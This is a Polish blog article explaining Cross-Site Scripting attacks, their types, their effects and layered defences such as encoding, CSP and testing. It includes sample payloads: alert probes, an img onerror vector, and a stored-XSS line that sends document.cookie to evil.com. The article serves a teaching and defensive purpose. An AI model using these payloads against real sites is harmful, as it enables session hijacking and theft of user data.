XXX napisane na monitorze laptopa na białym tle. Koncepcja porno.

Atak XSS (Cross-Site Scripting) – na czym polega i jak się bronić?

6 min. czytania

Cross-Site Scripting (XSS) to jedna z najpowszechniejszych podatności w aplikacjach webowych, polegająca na wstrzyknięciu złośliwego skryptu (najczęściej JavaScript) do treści strony internetowej, który następnie wykonuje się w przeglądarce ofiary.

Atak XSS umożliwia kradzież danych użytkownika, przejęcie sesji i manipulację treścią strony, dlatego stanowi poważne zagrożenie dla serwisów WWW, forów oraz aplikacji z interakcją użytkownika.

W erze dynamicznych stron, gdzie dane wejściowe są powszechnie przetwarzane i wyświetlane, XSS pozostaje w czołówce zagrożeń według rankingów OWASP. Poniżej wyjaśniamy mechanizmy ataku, jego warianty, realne przykłady oraz skuteczne strategie obrony.

Czym dokładnie jest atak XSS?

XSS to podatność, w której atakujący wstrzykuje złośliwy kod do strony, aby kraść dane użytkowników lub przejmować ich sesje. Kod (zazwyczaj JavaScript) jest wyświetlany i wykonywany przez przeglądarkę innych użytkowników w kontekście zaufanej domeny.

Kluczowym mechanizmem bezpieczeństwa jest Same-Origin Policy (SOP), która ogranicza dostęp skryptów do danych z innych domen. XSS omija SOP, ponieważ przeglądarka uruchamia wstrzyknięty kod tak, jakby pochodził z zaufanej strony.

Jak działa atak XSS – mechanizm krok po kroku

Proces ataku zwykle dzieli się na trzy fazy: iniekcję, przechowywanie lub odbicie oraz wykonanie w przeglądarce ofiary:

  1. Iniekcja – atakujący testuje pola formularzy, parametry URL czy komentarze, wstrzykując próbne payloady (np. <script>alert('XSS')</script>);
  2. Przechowywanie lub odbicie – złośliwy kod trafia do aplikacji (np. do bazy) lub jest natychmiast zwracany w odpowiedzi HTTP;
  3. Wykonanie – przeglądarka ofiary interpretuje i uruchamia skrypt z uprawnieniami strony, co umożliwia dostęp do cookies, wysyłanie żądań czy modyfikację DOM.

Przykładowy scenariusz: użytkownik odwiedza zarażoną stronę, a skrypt wysyła jego ciasteczka sesyjne na serwer atakującego.

Rodzaje ataków XSS – szczegółowa klasyfikacja

XSS dzieli się na kilka typów w zależności od sposobu wstrzyknięcia i wykonania. Oto zestawienie kluczowych różnic:

Typ XSS Opis Przykłady zastosowania Poziom zagrożenia
Odbity (reflected) Złośliwy skrypt jest wstrzyknięty za pomocą parametru URL lub formularza i od razu zwrócony w odpowiedzi HTTP; wykonywany jednorazowo w przeglądarce ofiary. Phishingowe linki, złośliwe reklamy. Średni (jednorazowy)
Trwały (stored/persistent) Kod jest zapisywany trwale w bazie danych (np. komentarz) i serwowany każdemu użytkownikowi strony. Fora, systemy komentarzy, profile użytkowników. Wysoki (masowy)
Oparty na DOM (DOM-based) Atak po stronie klienta: manipulacja Document Object Model (DOM) przez niebezpieczne funkcje JS, takie jak eval() czy innerHTML. Aplikacje jednostronicowe (SPA), manipulacja fragmentem URL (hash). Średni–wysoki
XSS po stronie serwera (server-side) Podatność po stronie serwera; skrypt wykonywany podczas renderowania odpowiedzi. Błędy w silnikach szablonów i renderowania. Wysoki
XSS po stronie klienta (client-side) Wykonywanie i modyfikacja strony po załadowaniu w przeglądarce użytkownika. Nowoczesne aplikacje HTML5 z localStorage. Zmienny

Aktywne vs pasywne XSS – aktywne uruchamia kod natychmiast w przeglądarce ofiary, a pasywne przechowuje go i atakuje kolejnych użytkowników.

Przykłady ataków XSS w praktyce

Oto trzy częste scenariusze, które ilustrują różne wektory ataku:

  • trwały XSS na forum – atakujący publikuje komentarz: <script>document.location='http://evil.com/steal?cookie='+document.cookie</script>; każdy, kto wyświetli komentarz, wysyła ciasteczka na serwer atakującego;
  • odbity XSS przez URL – link <a href="http://victim.com/search?q=<script>alert('XSS')</script>">Kliknij</a> uruchamia skrypt po kliknięciu ofiary;
  • DOM-based XSS – aplikacja parsuje location.hash.slice(1) i wstrzykuje wartość do innerHTML, co umożliwia wykonanie złośliwego kodu.

Atakujący często wykorzystują także zdarzenia, np. onerror w obrazkach: <img src=x onerror="alert('XSS')">.

Skutki ataków XSS – dlaczego to tak groźne?

Wykonany skrypt działa z uprawnieniami atakowanej strony, co otwiera drogę do szeregu nadużyć:

  • kradzież cookies sesji i danych logowania,
  • przejęcie konta użytkownika,
  • keylogging lub podstawianie phishingowych formularzy,
  • podmiana treści strony i manipulacja interfejsem,
  • wysyłanie żądań w imieniu ofiary (np. przelewy, zmiana hasła).

Jak się bronić przed atakami XSS – kompleksowa strategia

Skuteczna obrona wymaga warstwowego podejścia, łączącego walidację wejścia, kodowanie wyjścia, polityki bezpieczeństwa, bezpieczne API oraz regularne testy i audyty.

1. Walidacja i sanityzacja danych wejściowych

Dbaj o to, by do aplikacji trafiały wyłącznie oczekiwane i znormalizowane dane:

  • stosuj białe listy dopuszczalnych znaków, formatów i typów (np. regex, typy pól),
  • usuwaj lub eskapuj niebezpieczne tagi i atrybuty (np. <script>, on*),
  • normalizuj dane (np. dekodowanie encji, usuwanie niewidocznych znaków) przed walidacją.

2. Kodowanie danych wyjściowych

Koduj dane dokładnie w tym kontekście, w którym będą wyświetlane:

  • konwertuj znaki specjalne w HTML (np. <&lt;, >&gt;, "&quot;),
  • stosuj kodowanie kontekstowe: dla HTML, atrybutów, URL, JavaScript i CSS (różne reguły w zależności od miejsca wstrzyknięcia),
  • korzystaj z frameworków z domyślnym enkodowaniem (np. React, Angular, Vue) i unikaj ręcznego wstawiania HTML.

3. Content Security Policy (CSP)

Wdrażaj CSP, aby ograniczyć powierzchnię ataku i utrudnić wykonanie wstrzykniętych skryptów:

  • blokuj skrypty inline i z nieautoryzowanych źródeł (np. Content-Security-Policy: script-src 'self'),
  • używaj nonce lub hash dla dozwolonych skryptów,
  • włącz raportowanie naruszeń (np. report-to/report-uri), aby szybciej wykrywać próby ataku.

4. Inne mechanizmy

Uzupełnij ochronę o dobre praktyki po stronie klienta i serwera:

  • ustawiaj flagi HttpOnly i Secure dla cookies i rozważ SameSite,
  • unikaj niebezpiecznych funkcji JS (np. eval(), innerHTML, document.write) na rzecz bezpiecznych alternatyw (textContent, setAttribute),
  • używaj sprawdzonych bibliotek sanityzujących i API szablonów (np. mechanizmy escaping w silnikach templatingowych).

5. Testy i audyty

Wprowadź regularne testowanie bezpieczeństwa w całym cyklu wytwórczym:

  • wykonuj pentesty i używaj skanerów DAST (np. Burp Suite, OWASP ZAP),
  • włącz analizę SAST/IAST w CI/CD oraz testy jednostkowe pod kątem XSS (np. dla komponentów UI),
  • prowadź code review z checklistą bezpieczeństwa i testami fuzzującymi wejścia.

Poniższa tabela porównuje metody obrony, ich zalety i ograniczenia:

Metoda obrony Zalety Wady
Walidacja wejścia Zapobiega iniekcji u źródła Nie chroni przed wszystkimi kontekstami wykonania
Kodowanie wyjścia Bezpieczne wyświetlanie w danym kontekście Wymaga konsekwencji i świadomości kontekstów
CSP Utrudnia wykonanie wstrzykniętych skryptów Wymaga starannej konfiguracji i utrzymania
Frameworki/biblioteki Automatyzacja wielu zabezpieczeń Zależność od ekosystemu i konfiguracji

Najlepsze praktyki dla deweloperów

Buduj ochronę warstwowo: od walidacji wejścia, przez kodowanie wyjścia, po CSP i testy w CI/CD. Korzystaj z nowoczesnych frameworków (Vue, React) z domyślnym enkodowaniem i unikaj wstrzykiwania surowego HTML.

Wraz ze wzrostem popularności SPA i rozbudowanych interfejsów, DOM-based XSS zyskuje na znaczeniu – dbaj o bezpieczne operacje na DOM. Regularne aktualizacje i szkolenia zespołu znacząco obniżają ryzyko. XSS nie jest nieunikniony – świadoma implementacja czyni aplikacje odporne.

Grzegorz Kuzia
Grzegorz Kuzia

Redaktor naczelny Poland IT Hub. Od ponad 8 lat zajmuję się testowaniem sprzętu, recenzowaniem gier i tworzeniem praktycznych poradników technologicznych. Specjalizuję się w wirtualnej rzeczywistości, aplikacjach mobilnych oraz cyberbezpieczeństwie. Moją misją jest pokazywanie, że technologia może być prosta i dostępna dla każdego – bez żargonu i komplikacji.